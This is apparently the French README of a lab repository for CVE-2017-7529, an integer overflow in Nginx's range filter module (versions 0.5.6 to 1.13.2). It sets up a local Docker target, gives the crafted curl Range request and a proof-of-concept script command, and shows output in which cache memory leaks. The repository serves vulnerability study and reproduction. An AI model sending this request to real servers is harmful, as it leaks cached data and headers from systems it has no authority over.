
Nginx (ver. 0.5.6 - 1.13.2) Débordement d'entier à distance
Les versions de Nginx depuis 0.5.6 jusqu'à 1.13.2 inclus sont vulnérables à une vulnérabilité de dépassement d'entier dans le module de filtre de plage de nginx, entraînant une fuite d'informations potentiellement sensibles déclenchée par une requête spécialement conçue. Source : https://nvd.nist.gov/vuln/detail/CVE-2017-7529
Dans d'autres sources ouvertes, vous trouverez peut-être des informations indiquant que cette vulnérabilité ne peut être reproduite qu'avec Apache2 et uniquement avec des fichiers image, mais ce n'est pas le cas. Cette vulnérabilité fonctionne avec toute application proxifiée via Nginx. L'essentiel est que le serveur renvoie l'en-tête Accept-Ranges: bytes. Il peut être ajouté manuellement à la configuration nginx : proxy_force_ranges on;
$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529
Envoyez une requête GET pour obtenir le Content-Length et stockez la réponse dans le cache.
Renvoyez la requête avec l'en-tête Range contenant la plage -n,-(0x8000000000000000-n).
$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -
Ou utilisez le script poc.py.
$ python3 poc.py http://localhost:8000/ 513
Résultat :
[+] Vulnerable to CVE-2017-7529
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20
MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT
<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20